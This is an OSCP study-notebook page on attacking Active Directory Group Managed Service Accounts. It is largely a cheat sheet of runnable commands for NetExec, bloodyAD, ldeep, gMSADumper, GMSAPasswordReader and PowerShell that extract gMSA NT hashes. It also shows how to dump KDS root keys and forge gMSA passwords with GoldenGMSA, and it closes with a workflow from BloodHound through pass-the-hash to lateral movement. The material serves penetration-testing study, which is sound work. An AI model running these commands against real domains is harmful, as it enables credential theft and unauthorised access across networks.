Pearson's OSCP Notebook

GMSA - Group Managed Service Accounts

Properties1
tagsgmsa, group-managed-service-account, active-directory, golden-gmsa, netexec, bloodyad, ldeep, oscp

3 min read

GMSA — Group Managed Service Accounts

Ctrl+F: gMSA · ReadGMSAPassword · msDS-ManagedPassword · GoldenGMSA · --gmsa

External: Internal All The Things — Password GMSA

User accounts created to be used as service accounts rarely have their password changed. Group Managed Service Accounts (gMSAs) provide a better approach (starting in the Windows 2012 timeframe). The password is managed by AD and automatically rotated every 30 days to a randomly generated password of 256 bytes.

→ gMSADumper (tool note) · CrackMapExec - nxc > 8c) gMSA · Credential Graph

GMSA Attributes in Active Directory

AttributeDescription
msDS-GroupMSAMembership (PrincipalsAllowedToRetrieveManagedPassword)Security principals that can access the gMSA password
msDS-ManagedPasswordBLOB with password information for group-managed service accounts
msDS-ManagedPasswordIdKey identifier for the current managed password data
msDS-ManagedPasswordIntervalDays before a managed password is automatically changed

When you have ReadGMSAPassword on a gMSA (BloodHound / ACL enum) → extract hash → PtH / Kerberos.

Extract NT Hash from Active Directory

NetExec

Repo: Pennyw0rth/NetExec

netexec ldap 10.10.10.10 -u user -p pass --gmsa
 
# Use --lsa to get GMSA ID
netexec ldap domain.lab -u user -p 'PWD' --gmsa-convert-id 00[...]99
netexec ldap domain.lab -u user -p 'PWD' --gmsa-decrypt-lsa '_SC_GMSA_{[...]}_.....'

→ CrackMapExec - nxc

bloodyAD

Repo: CravateRouge/bloodyAD

bloodyAD --host 10.10.10.10 -d crash.lab -u john -p 'Pass123*' get search --filter '(ObjectClass=msDS-GroupManagedServiceAccount)' --attr msDS-ManagedPassword

→ bloodyAD

ldeep

Repo: franc-pentest/ldeep

ldeep ldap -s dc1.domain.local -u 'username' -p 'P@ssw0rd' -d domain.local gmsa

GMSAPasswordReader (Windows)

Repo: rvazarkar/GMSAPasswordReader

GMSAPasswordReader.exe --accountname SVC_SERVICE_ACCOUNT

gMSADumper (Python)

Repo: micahvandeusen/gMSADumper

python3 gMSADumper.py -u User -p Password1 -d domain.local

→ gMSADumper

Active Directory PowerShell

$gmsa = Get-ADServiceAccount -Identity 'SVC_SERVICE_ACCOUNT' -Properties 'msDS-ManagedPassword'
$blob = $gmsa.'msDS-ManagedPassword'
$mp = ConvertFrom-ADManagedPasswordBlob $blob
$hash1 = ConvertTo-NTHash -Password $mp.SecureCurrentPassword

→ Active Directory Cmdlets

gMSA permissions audit

gdejoyce/gMSA_Permissions_Collection.ps1 — based on Active Directory PowerShell module.

Forging Golden GMSA

One notable difference between a Golden Ticket attack and the Golden GMSA attack is that there is no way of rotating the KDS root key secret. If a KDS root key is compromised, there is no way to protect the gMSAs associated with it.

Warning: You can’t “force reset” a gMSA password — a gMSA’s password never changes. The password is derived from the KDS root key and ManagedPasswordIntervalInDays, so every Domain Controller can compute what the password is, was, and will be at any point in the future.

Tool: Semperis/GoldenGMSA

# Enumerate all gMSAs
GoldenGMSA.exe gmsainfo
# Query for a specific gMSA
GoldenGMSA.exe gmsainfo --sid S-1-5-21-1437000690-1664695696-1586295871-1112
 
# Dump all KDS Root Keys
GoldenGMSA.exe kdsinfo
# Dump a specific KDS Root Key
GoldenGMSA.exe kdsinfo --guid 46e5b8b9-ca57-01e6-e8b9-fbb267e4adeb
 
# Compute gMSA password
# --sid <gMSA SID>: SID of the gMSA (required)
# --kdskey <Base64-encoded blob>: Base64 encoded KDS Root Key
# --pwdid <Base64-encoded blob>: Base64 of msds-ManagedPasswordID attribute value
GoldenGMSA.exe compute --sid S-1-5-21-1437000690-1664695696-1586295871-1112
GoldenGMSA.exe compute --sid S-1-5-21-1437000690-1664695696-1586295871-1112 --kdskey AQAAALm45UZXyuYB[...]G2/M=
GoldenGMSA.exe compute --sid S-1-5-21-1437000690-1664695696-1586295871-1112 --kdskey AQAAALm45U[...]SM0R7djG2/M= --pwdid AQAAA[..]AAA
ModeRequires
compute --sid onlyPrivileged access to the domain
compute --sid --kdskeyLDAP access to KDS root key
compute --sid --kdskey --pwdidOffline — stolen blobs

OSCP workflow

BloodHound → ReadGMSAPassword on gMSA (e.g. svc_int$)
  → nxc ldap --gmsa  OR  python3 gMSADumper.py
  → NT hash → PtH / getTGT → lateral movement

→ Bloodhound + Sharphound · LatMovement · Kerberos Scripts

Graph View

Backlinks